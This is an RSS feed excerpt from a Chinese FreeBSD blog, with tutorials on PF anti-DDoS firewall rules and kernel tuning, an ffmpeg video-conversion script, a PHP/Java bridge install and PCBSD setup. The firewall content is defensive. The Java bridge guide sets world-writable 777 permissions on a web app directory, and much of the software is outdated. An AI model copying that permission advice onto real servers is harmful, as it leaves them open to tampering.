google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
OK，完成。检查制作出的DVD，经测试：链接正常，sysinstall可认，其它各种应用正常。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1087.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FREEBSD+PF 在6.2上的架设放DDOS 攻击的网站</title>
		<link>http://www.evanjiang.net.cn/archives/1058.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1058.html#comments</comments>
		<pubDate>Wed, 20 May 2009 06:13:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[pf]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1058</guid>
		<description><![CDATA[<p>现网站和外挂经常带arp和ddos攻击,本来用ros做网吧路由器顶不住ddos，只能换FB6.2+pf,前几天用FB6.2+PF，人多时出watchdog timeout,下面是安装步骤，操作一个写一个， </p>
<p>cd /usr/src/sys/i386/conf
cp GERENIC PFOK
ee FFOK </p>
<p>修改并加入下面东东 </p>
<p>ident PFOK
device pf
device pflog
device pfsync
options ALTQ
options ALTQ_CBQ
options ALTQ_RED
options ALTQ_RIO
options ALTQ_HFSC
options ALTQ_PRIQ
options ALTQ_NOPCC
options PANIC_REBOOT_WAIT_TIME=0
options DEVICE_POLLING
options HZ=2000
options IPSTEALTH
# options RANDOM_IP_ID
options TCP_DROP_SYNFIN </p>
<p>config PFOK
cd /usr/src/sys/i386/compile/PFOK
make depend
make
make install
reboot </p>
<p>ee /etc/sysctl.conf
net.inet.ip.forwarding=1
net.inet.ip.fastforwarding=1
net.inet.tcp.drop_synfin=1
net.inet.tcp.sendspace=65536
net.inet.tcp.recvspace=65536
#net.inet.udp.sendspace=65535
net.inet.udp.maxdgram=65535
net.local.stream.sendspace=65535
net.inet.tcp.rfc1323=1
#net.inet.tcp.rfc1644=1
net.inet.tcp.rfc3042=1
net.inet.tcp.rfc3390=1
kern.ipc.maxsockbuf=2097152
kern.maxfiles=65536
kern.maxfilesperproc=32768
kern.polling.enable=1
kern.polling.burst_max=500
kern.ipc.somaxconn=2048
kern.ipc.nmbclusters=32768
net.inet.tcp.delayed_ack=0
net.inet.icmp.icmplim=100
net.inet.icmp.icmplim_output=0
net.inet.tcp.drop_synfin=1

ee /boot/loader.conf
autobootdelay=&#8221;2&#8243; </p>
<p>ee /etc/rc.conf
sendmail_enable=&#8221;NONE&#8221;
sendmail_submit_enable=&#8221;NO&#8221;
sendmail_outbound_enable=&#8221;NO&#8221;
sendmail_msp_queue_enable=&#8221;NO&#8221;
clear_tmp_enable=&#8221;YES&#8221;
update_motd=&#8221;NO&#8221;
tcp_drop_synfin=&#8221;YES&#8221;
#icmp_drop_redirect=&#8221;YES&#8221;
#icmp_log_redirect=&#8221;YES&#8221;
#log_in_vain=&#8221;YES&#8221;
#accounting_enable=&#8221;YES&#8221;
pf_enable=&#8221;YES&#8221;
pf_rules=&#8221;/etc/pf.conf&#8221;
pf_flags=&#8221;"
#pflog_enable=&#8221;YES&#8221;
#pflog_logfile=&#8221;/var/log/pflog&#8221;








这里我就加了句pf_enable=&#8221;YES&#8221; </p>
<p>uname -a
FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386 </p>
<p>我的pf.conf </p>
<p>#pfctl -e [...]]]></description>
			<content:encoded><![CDATA[<p>现网站和外挂经常带arp和ddos攻击,本来用ros做网吧路由器顶不住ddos，只能换FB6.2+pf,前几天用FB6.2+PF，人多时出watchdog timeout,下面是安装步骤，操作一个写一个， </p>
<p>cd /usr/src/sys/i386/conf<br />
cp GERENIC PFOK<br />
ee FFOK </p>
<p>修改并加入下面东东 </p>
<p>ident PFOK<br />
device pf<br />
device pflog<br />
device pfsync<br />
options ALTQ<br />
options ALTQ_CBQ<br />
options ALTQ_RED<br />
options ALTQ_RIO<br />
options ALTQ_HFSC<br />
options ALTQ_PRIQ<br />
options ALTQ_NOPCC<br />
options PANIC_REBOOT_WAIT_TIME=0<br />
options DEVICE_POLLING<br />
options HZ=2000<br />
options IPSTEALTH<br />
# options RANDOM_IP_ID<br />
options TCP_DROP_SYNFIN </p>
<p>config PFOK<br />
cd /usr/src/sys/i386/compile/PFOK<br />
make depend<br />
make<br />
make install<br />
reboot </p>
<p>ee /etc/sysctl.conf<br />
net.inet.ip.forwarding=1<br />
net.inet.ip.fastforwarding=1<br />
net.inet.tcp.drop_synfin=1<br />
net.inet.tcp.sendspace=65536<br />
net.inet.tcp.recvspace=65536<br />
#net.inet.udp.sendspace=65535<br />
net.inet.udp.maxdgram=65535<br />
net.local.stream.sendspace=65535<br />
net.inet.tcp.rfc1323=1<br />
#net.inet.tcp.rfc1644=1<br />
net.inet.tcp.rfc3042=1<br />
net.inet.tcp.rfc3390=1<br />
kern.ipc.maxsockbuf=2097152<br />
kern.maxfiles=65536<br />
kern.maxfilesperproc=32768<br />
kern.polling.enable=1<br />
kern.polling.burst_max=500<br />
kern.ipc.somaxconn=2048<br />
kern.ipc.nmbclusters=32768<br />
net.inet.tcp.delayed_ack=0<br />
net.inet.icmp.icmplim=100<br />
net.inet.icmp.icmplim_output=0<br />
net.inet.tcp.drop_synfin=1<br />
<span id="more-1058"></span><br />
ee /boot/loader.conf<br />
autobootdelay=&#8221;2&#8243; </p>
<p>ee /etc/rc.conf<br />
sendmail_enable=&#8221;NONE&#8221;<br />
sendmail_submit_enable=&#8221;NO&#8221;<br />
sendmail_outbound_enable=&#8221;NO&#8221;<br />
sendmail_msp_queue_enable=&#8221;NO&#8221;<br />
clear_tmp_enable=&#8221;YES&#8221;<br />
update_motd=&#8221;NO&#8221;<br />
tcp_drop_synfin=&#8221;YES&#8221;<br />
#icmp_drop_redirect=&#8221;YES&#8221;<br />
#icmp_log_redirect=&#8221;YES&#8221;<br />
#log_in_vain=&#8221;YES&#8221;<br />
#accounting_enable=&#8221;YES&#8221;<br />
pf_enable=&#8221;YES&#8221;<br />
pf_rules=&#8221;/etc/pf.conf&#8221;<br />
pf_flags=&#8221;"<br />
#pflog_enable=&#8221;YES&#8221;<br />
#pflog_logfile=&#8221;/var/log/pflog&#8221;<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
这里我就加了句pf_enable=&#8221;YES&#8221; </p>
<p>uname -a<br />
FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386 </p>
<p>我的pf.conf </p>
<p>#pfctl -e -F all -f /etc/pf.conf </p>
<p>#只重新load过滤规则<br />
#pfctl -F rules -Rf /etc/pf.conf </p>
<p>#pfctl -f /etc/pf.conf # 重新加载pf.conf 设定档<br />
#pfctl -nf /etc/pf.conf # 确认语法有无符合，但不载入<br />
#pfctl -Nf /etc/pf.conf # 只加载 NAT 的设定档<br />
#pfctl -Rf /etc/pf.conf # 只加载防火墙的过滤设定档 </p>
<p>#pfctl -sn # 显示现阶段 NAT 的规则<br />
#pfctl -sr # 显示现阶段过滤的规则<br />
#pfctl -ss # 显示现阶段封包运作状态<br />
#pfctl -si # 显示现阶段过滤封包的统计资料<br />
#pfctl -sa # 显示现阶段所有统计的数据 </p>
<p>ext_if=&#8221;rl0&#8243;<br />
#edu_if=&#8221;"<br />
int_if=&#8221;fxp0&#8243; </p>
<p>ext_addr=&#8221;192.168.1.51&#8243; </p>
<p>int_net=&#8221;172.16.0.0/16&#8243;<br />
ext_net = &#8220;192.168.0.0/16&#8243;<br />
loop = &#8220;{lo0, 127.0.0.1}&#8221;<br />
OpenPorts = &#8220;{21, 22, 80, 88, 4899}&#8221;<br />
InsideManagerIPs = &#8220;{172.16.0.100}&#8221;<br />
InsiteManagerOpenPorts = &#8220;{21, 22, 23, 24, 25, 80, 4899}&#8221;<br />
priv_nets = &#8220;{ 127.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12}&#8221; # 定義符合 RFC 1918 私有IP 部份<br />
tcp_services = &#8220;{ 22, 88, 4899, 123 }&#8221; # 定義 port 22, 113 服務<br />
icmp_types = &#8220;echoreq&#8221; # 定義 tcmp 回應狀態 </p>
<p>## down inactive connection quickly<br />
set optimization aggressive </p>
<p># Normalization: reassemble fragments and resolve or reduce traffic ambiguities.<br />
scrub in all </p>
<p>nat on $ext_if from $int_net to any -> ($ext_if)<br />
#nat on $ext_if from $int_net to $ext_net -> ($ext_if) </p>
<p>#web server map<br />
#rdr pass on $ext_if proto tcp from any to $ext_if port {www,3389,4899,7745} -> $web_server </p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-以下防DOS攻击&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
#每个IP最大可以有120个非并发的连接（为局域网用户访问本站考虑）<br />
#每个IP最大连接建立的速率小于每秒8个<br />
#单个IP的最大持续连接数 30<br />
#违反以上规则，把这个ip添加到<abusive_hosts>表中<br />
table <abusive_hosts> persist #维持一个持续的表<br />
block in quick from <abusive_hosts> #阻止表中的ip<br />
pass in on $int_if inet proto tcp from any to $int_if flags S/SA keep state \<br />
(source-track rule,max-src-conn 100, max-src-conn-rate 15/3,max-src-states 30,overload <abusive_hosts> flush, src.track 1) </p>
<p>LSassVirusPort = &#8220;{445, 135, 139, 593, 512, 5554, 9996, 9995}&#8221;<br />
block quick on $int_if inet proto tcp from any to any port $LSassVirusPort </p>
<p>BitTorrentPort= &#8220;{ 512, 2049, 4662, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, \<br />
6890, 8880, 8881, 8882, 8883, 8884, 8885, 8886, 8887, 8888, 8889, 8890, 6969, 10700, 21881}&#8221;<br />
block quick on $int_if inet proto tcp from any to any port $BitTorrentPort<br />
block quick on $int_if inet proto tcp from any port $BitTorrentPort to any<br />
block quick on $ext_if inet proto tcp from any to any port $BitTorrentPort<br />
block quick on $ext_if inet proto tcp from any port $BitTorrentPort to any<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
#gameClientPorts = &#8220;{4002, 2000, 3838, 4410, 4210, 4230, 5005, 4290, 10010 }&#8221;<br />
#GameDenyClients =&#8221;{192.168.128.0/24, 192.168.132.0/24}&#8221;<br />
#GameServerIps = &#8220;{204.251.15.167, 61.152.93.145}&#8221;<br />
#block quick on $int_if inet proto tcp from $GameDenyClients to any port $gameClientPorts<br />
#block quick on $ext_if from $GameServerIps to $GameDenyClients<br />
#block quick on $int_if from $GameDenyClients to $GameServerIps </p>
<p>denyserverips = &#8220;{202.108.193.21}&#8221;<br />
block quick on $int_if from any to $denyserverips </p>
<p>#LSassVirusIp =&#8221;{192.168.1.194}&#8221;<br />
#block quick on $int_if from $LSassVirusIp to any</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1058.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>freebsd 播客安装教程(附带mencoder　转换)</title>
		<link>http://www.evanjiang.net.cn/archives/1055.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1055.html#comments</comments>
		<pubDate>Wed, 20 May 2009 06:11:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1055</guid>
		<description><![CDATA[<p>操作系统为freebsd6.2,更新你的ports</p>
<p>一、视频转换</p>
<p>1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音
    先安装　ffmpeg　</p>
<p>  　cd　/usr/ports/multimedia/ffmpeg
　　ports　安装ffmpeg-devel　在 </p>
<p>    cd /usr/ports/multimedia/ffmpeg-devel</p>
<p>    make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes
　　这个花费时间比较长
　　make install </p>
<p>　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　
　cd　/usr/ports/multimedia/mplayer
　make　config　要是支持rmvb,rm　的话要选那个realplayer</p>
<p>   make install</p>
<p>2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh
　　cd　/usr/ports/shell/bash
3、convert脚本
    给convert加上执行权限，convert内容为
    修改SiteRoot　为你supesite的目录
引用:

#!/usr/local/bin/bash
        Extension=&#8221;mpg 3gp mov mpeg vod mp4 m4v avi wmv&#8221;
    [...]]]></description>
			<content:encoded><![CDATA[<p>操作系统为freebsd6.2,更新你的ports</p>
<p>一、视频转换</p>
<p>1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音<br />
    先安装　ffmpeg　</p>
<p>  　cd　/usr/ports/multimedia/ffmpeg<br />
　　ports　安装ffmpeg-devel　在 </p>
<p>    cd /usr/ports/multimedia/ffmpeg-devel</p>
<p>    make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes<br />
　　这个花费时间比较长<br />
　　make install </p>
<p>　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　<br />
　cd　/usr/ports/multimedia/mplayer<br />
　make　config　要是支持rmvb,rm　的话要选那个realplayer</p>
<p>   make install</p>
<p>2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh<br />
　　cd　/usr/ports/shell/bash<br />
3、convert脚本<br />
    给convert加上执行权限，convert内容为<br />
    修改SiteRoot　为你supesite的目录<br />
引用:<br />
<span id="more-1055"></span><br />
#!/usr/local/bin/bash<br />
        Extension=&#8221;mpg 3gp mov mpeg vod mp4 m4v avi wmv&#8221;<br />
        SiteRoot=&#8221;/usr/local/www/data&#8221;<br />
        for e in $Extension; do<br />
                FullFiles=`find $SiteRoot/video/temp -name &#8220;*.$e&#8221; -exec ls {} \;`<br />
                for FullFile in $FullFiles;do<br />
                if [ -f $FullFile ];then<br />
                        a=`basename $FullFile | awk -F &#8220;.&#8221; &#8216;{print $1}&#8217;`<br />
                        b=`echo  $a | cut -d_ -f 2 | cut -c-6`<br />
                        if [ !-d $SiteRoot/video/$b ]; then<br />
                                mkdir $SiteRoot/video/$b<br />
                                chown -R www:www $SiteRoot/video/$b<br />
                        fi<br />
                                               #ffmpeg 转换<br />
                        ffmpeg -i $FullFile -y -ab 56 -ar 11025 -ac 2 -qscale 9 -t 900 -r 15 -s 320*240 $SiteRoot/video/$b/$a.flv<br />
                                               #mencoder 转换<br />
                                               #mencoder &#8220;$FullFile&#8221; -o &#8220;$SiteRoot/video/$b/$a.flv&#8221; -of lavf  -lavfopts i_certify_that_my_video_stream_does_not_use_<br />
b_frames -oac mp3lame -lameopts abr:br=56 -ovc lavc -lavcopts vcodec=flv:vbitrate=500:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:dia=4:cmp<br />
=6:vb_strategy=1 -vf scale=512:-3 -ofps 12 -srate 22050<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>                        chown www:www $SiteRoot/video/$b/$a.flv<br />
                        ffmpeg -i $SiteRoot/video/$b/$a.flv -y -f image2 -ss 8 -sameq -t 0.001 -s 320*240 $SiteRoot/video/$b/$a.jpg<br />
                        chown www:www $SiteRoot/video/$b/$a.jpg<br />
                        rm $FullFile<br />
                fi<br />
                done<br />
        done<br />
4、设定计划任务<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　编辑/etc/crontab　文件</p>
<p>　在path中加入/usr/local/bin　</p>
<p>　按i，进入插入状态，然后输入计划命令，其中的n表示每n分钟执行一次转换，可根据自身情况修改n值，<br />
　如：10(每10分钟执行一次转换)<br />
　0-59/n * * * * 　/usr/local/bin/convert　<-修改为你convert路径<br />
二、在线录制<br />
1、安装diablo-jdk1.5　<br />
　　ports安装<br />
　　cd /usr/ports/java/diablo-jdk1.5　<br />
　　这个要手动下载diablo-caffe-freebsd6-i386-1.5.0_07-b01.tar.bz2，根据提示操作就行。<br />
2、安装ant<br />
　　ports　安装<br />
　　cd /usr/ports/devel/apache-ant-1.7.0<br />
3、安装red5<br />
　　下载http://dl.fancycode.com/red5/red5-0.6rc2.tar.gz<br />
　　将red5-0.6rc2.tar.gz 放到/tmp 目录下<br />
　　mv  red5-0.6rc2.tar.gz /tmp<br />
　　cd  /usr/local<br />
　  tar  -zxf  /tmp/red5-0.6rc2.tar.gz<br />
    mv  red5-0.6rc2  red5</p>
<p>    请重新编译red5<br />
    cd  /usr/local/red5<br />
    vi  build.properties<br />
    找到java.target_version=1.6修改为java.target_version=1.5，然后进行重新编译<br />
    执行make</p>
<p>    将online.zip 解压到 /usr/local/red5/webapps 下<br />
　　online.zip 下载地址：http://www.supesite.com/tools/online.zip<br />
　　cd  /usr/local/red5/webapps<br />
　　tar  -zxf  /tmp/online.tar.gz<br />
　　开启Red5服务<br />
　　/usr/local/red5/red5.sh &#038;</p>
<p>　　好，现在就可以播客。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1055.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freebsd 安装php/java bridge 方法与日志</title>
		<link>http://www.evanjiang.net.cn/archives/1010.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1010.html#comments</comments>
		<pubDate>Fri, 08 May 2009 15:48:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[jboss]]></category>
		<category><![CDATA[resin]]></category>
		<category><![CDATA[系统架构]]></category>
		<category><![CDATA[php java bridge]]></category>
		<category><![CDATA[添加新标签]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1010</guid>
		<description><![CDATA[<p>Freebsd 安装php/java bridge 方法与日志
Evan.Jiang
一、	安装Freebsd
安装freebsd的过程可参考其它文档，在这里可略
二、	安装JDK/JRE
1、下载由freebsd开发团队编译好的jdk/jre 1.5版本。
2、安装jdk/jre 1.5版本</p>
<p>1、安装jdk/jre
#pkg_add diablo-jdk-freebsd6-1.5.0.06.00.tbz
#pkg_add diablo-jre-freebsd6-1.5.0.06.00.tbz
2、	安装javavmwrapper
# cd /usr/ports/java/javavmwrapper
# make install clean </p>
<p>三、	下载php/java bridge
1、	下载php/java bridge
在下面网址下载php/java bridge 的源代码版本与字节版本</p>
<p>http://sourceforge.net/project/showfiles.php?group_id=117793</p>
<p>四、	上传php/java bridge
1、用cuteftp或leapftp等工具上传到服务器.</p>
<p>五、	解压php/java bridge
# tar zxvf php-java-bridge_3.1.8rc2.tar.bz2
# unzip –x php-java-bridge_3.1.8rc2_j2ee.zip
六、	安装php/javabridge
进入php/javabridge 解压目录.
1、# phpize &#038;&#038; ./configure &#8211;disable-backend &#8211;with-java= /usr/local/diablo-jdk1.5.0,/usr/local/diablo-jre1.5.0 &#038;&#038; /usr/local/bin/gmake
2、#sh install.sh
3、#make  install

七、	设置php.ini文件
#  vi /usr/local/Zend/etc/php.ini
在最后加入以下内容：
[java]
java.hosts = 127.0.0.1:8080
java.servlet = On
八、	安装resin等back-end
1 、# cd /usr/ports/www/resin3
2、# make WITH_APACHE2=yes install clean
3、编辑httpd.conf 在后面加入以下内容：

   [...]]]></description>
			<content:encoded><![CDATA[<p>Freebsd 安装php/java bridge 方法与日志<br />
Evan.Jiang<br />
一、	安装Freebsd<br />
安装freebsd的过程可参考其它文档，在这里可略<br />
二、	安装JDK/JRE<br />
1、下载由freebsd开发团队编译好的jdk/jre 1.5版本。<br />
2、安装jdk/jre 1.5版本</p>
<p>1、安装jdk/jre<br />
#pkg_add diablo-jdk-freebsd6-1.5.0.06.00.tbz<br />
#pkg_add diablo-jre-freebsd6-1.5.0.06.00.tbz<br />
2、	安装javavmwrapper<br />
# cd /usr/ports/java/javavmwrapper<br />
# make install clean </p>
<p>三、	下载php/java bridge<br />
1、	下载php/java bridge<br />
在下面网址下载php/java bridge 的源代码版本与字节版本</p>
<p>http://sourceforge.net/project/showfiles.php?group_id=117793</p>
<p>四、	上传php/java bridge<br />
1、用cuteftp或leapftp等工具上传到服务器.</p>
<p>五、	解压php/java bridge<br />
# tar zxvf php-java-bridge_3.1.8rc2.tar.bz2<br />
# unzip –x php-java-bridge_3.1.8rc2_j2ee.zip<br />
六、	安装php/javabridge<br />
进入php/javabridge 解压目录.<br />
1、# phpize &#038;&#038; ./configure &#8211;disable-backend &#8211;with-java= /usr/local/diablo-jdk1.5.0,/usr/local/diablo-jre1.5.0 &#038;&#038; /usr/local/bin/gmake<br />
2、#sh install.sh<br />
3、#make  install<br />
<span id="more-1010"></span><br />
七、	设置php.ini文件<br />
#  vi /usr/local/Zend/etc/php.ini<br />
在最后加入以下内容：<br />
[java]<br />
java.hosts = 127.0.0.1:8080<br />
java.servlet = On<br />
八、	安装resin等back-end<br />
1 、# cd /usr/ports/www/resin3<br />
2、# make WITH_APACHE2=yes install clean<br />
3、编辑httpd.conf 在后面加入以下内容：<br />
<IfModule mod_caucho.c><br />
    ResinConfigServer localhost 6802<br />
</IfModule><br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
4、	设置resin3随机启动<br />
5、	echo ‘resin3_enable=&#8221;YES&#8221; ‘ >> /etc/rc.conf<br />
6、	手动启动resin3<br />
#/usr/local/etc/rc.d/resin3.sh start<br />
7、<br />
九、	在resin的webapps建相应目录。<br />
 #cd /usr/local/resin/webapps<br />
#mkdir JavaBridge<br />
进入php-java-bridge_3.1.8rc2_j2ee的解压目录<br />
将JavaBridge .war 复制resin的webapps下的JavaBridge目录解压。<br />
# cp JavaBridge.war /usr/local/resin3/webapps/JavaBridge/<br />
#cd /usr/local/resin3/webapps/JavaBridge/<br />
# tar zxvf JavaBridge.war<br />
赋于 /usr/local/resin3/webapps/JavaBridge/权限<br />
# cd /usr/local/resin3/webapps/<br />
#chmod –R 777 JavaBridge/<br />
重启服务器<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
十、	测试php/java bridge<br />
在网站根目录建一个test.php ，内容如下：<br />
<?php</p>
<p>// get instance of Java class java.lang.System in PHP<br />
$system = new Java('java.lang.System');</p>
<p>// demonstrate property access<br />
echo 'Java version=' . $system->getProperty(&#8216;java.version&#8217;) . &#8216;<br />&#8216;;<br />
echo &#8216;Java vendor=&#8217; . $system->getProperty(&#8216;java.vendor&#8217;) . &#8216;<br />&#8216;;<br />
echo &#8216;Java classpath=&#8217; . $system->getProperty(&#8216;java.classpath&#8217;) . &#8216;<br />&#8216;;<br />
echo &#8216;Java home=&#8217; . $system->getProperty(&#8216;java.java_home&#8217;) . &#8216;<br />&#8216;;<br />
echo &#8216;OS=&#8217; . $system->getProperty(&#8216;os.name&#8217;) . &#8216; &#8216; .<br />
$system->getProperty(&#8216;os.version&#8217;) . &#8216; on &#8216; .<br />
$system->getProperty(&#8216;os.arch&#8217;) . &#8216; <br />&#8216;;</p>
<p>// java.util.Date example<br />
$formatter = new Java(&#8216;java.text.SimpleDateFormat&#8217;,<br />
&#8220;EEEE, MMMM dd, yyyy &#8216;at&#8217; h:mm:ss a zzzz&#8221;);</p>
<p>echo $formatter->format(new Java(&#8216;java.util.Date&#8217;));</p>
<p>?></p>
<p>打开浏览器 输入 http://ip/test.php<br />
见到以下内容就可确定php/java bridge 安装正确<br />
Java version=1.5.0<br />
Java vendor=Sun Microsystems Inc.<br />
Java classpath=<br />
Java home=<br />
OS=FreeBSD 6.0-RELEASE on i386<br />
[o(String):"Friday, September 08, 2006 at 10:54:13 AM China Standard Time"]<br />
十一、	</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PCBSD7.1安装笔记(多图）</title>
		<link>http://www.evanjiang.net.cn/archives/995.html</link>
		<comments>http://www.evanjiang.net.cn/archives/995.html#comments</comments>
		<pubDate>Tue, 05 May 2009 14:29:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[pcbsd7.1]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=995</guid>
		<description><![CDATA[<p>这两天。在CU 的BSD版看到有个资深的UNIX工程师说装PCBSD无法正常LOGIN。俺就觉得奇怪，PCBSD应该不会存在这种低端错误。。。于是心血来潮，想着装个最新版的PCBSD7。1来看看，顺便看看现在PCBSD“进化”得什么程度，能否用来作一个完善的桌面操作系统！</p>
<p>下面就为俺的安装笔记，为了直观，俺截了多张图。辅带一些简单描述</p>
<p>俺是用VMWARE虚拟安装的。所以。VMWARE虚拟机安装，并且设置那块不详述。只说，建立PCBSD的虚拟机，设置加载ISO来安装，正常启动后，开始说起。。</p>
<p>正常安装启动程序</p>
<p></p>
<p></p>
<p>安装界面，默认为英文界面，俺要安装中文版，就拉动右边的下拉条，选择简体中文








</p>
<p>选择简体中文后，安装界面也迅速成换成全中文格式，这里可以选择将时区改为上海时间。其它其本不用心。</p>
<p> </p>
<p></p>
<p>这里选同意许可协议，跟着按下一步</p>
<p></p>
<p>这里选择全部安装，选择安装桌面版，选择从光驱安装。。 跟着按下一步</p>
<p></p>
<p>这里设置root密码，以及新增一个常用账户的账号与密码。可选桌面默认与新增的普通账号来login，也可以不选。</p>
<p></p>
<p>这里选择安装硬盘，以及选择整个硬盘安装，还是独自分区。</p>
<p></p>
<p>这里选择要安装的软件包。除了桌面游戏与玩具外，其它常用的编程开发，网络工具，俺全选上。选择方法就是先用MOUSE选择可用组件的组件包，然后单击下面向下的三角符，表示将组件包选择到要安装的组件项里。</p>
<p></p>
<p>系统开始正式安装。。</p>
<p></p>
<p> 提示放入第二张光盘，放入第二光盘后，继续安装。</p>
<p></p>
<p>提示放入第三张安装盘，俺只下载了第一，第二盘，如果你只是选择安装常用的工具组件包，第三光盘可以不用安装。这里直接按ok。系统会继续安装。








</p>
<p>安装完成，按重新启动。重新启动系统.</p>
<p></p>
<p>pcbsd正准备重启。。。</p>
<p></p>
<p>pcbsd 重启后，进入设置屏幕分辨率的窗口。这里，可以直接选择跳过或者应用都可以。。。</p>
<p></p>
<p>login窗口，输入账号与密码.然后直接按回车。</p>
<p></p>
<p>安装完成。PCBSD操作桌面。。。</p>
]]></description>
			<content:encoded><![CDATA[<p>这两天。在CU 的BSD版看到有个资深的UNIX工程师说装PCBSD无法正常LOGIN。俺就觉得奇怪，PCBSD应该不会存在这种低端错误。。。于是心血来潮，想着装个最新版的PCBSD7。1来看看，顺便看看现在PCBSD“进化”得什么程度，能否用来作一个完善的桌面操作系统！</p>
<p>下面就为俺的安装笔记，为了直观，俺截了多张图。辅带一些简单描述</p>
<p>俺是用VMWARE虚拟安装的。所以。VMWARE虚拟机安装，并且设置那块不详述。只说，建立PCBSD的虚拟机，设置加载ISO来安装，正常启动后，开始说起。。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/00.jpg" alt="" width="675" height="426" />正常安装启动程序</p>
<p><span id="more-995"></span></p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/01.jpg" alt="" width="675" height="412" /></p>
<p>安装界面，默认为英文界面，俺要安装中文版，就拉动右边的下拉条，选择简体中文<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
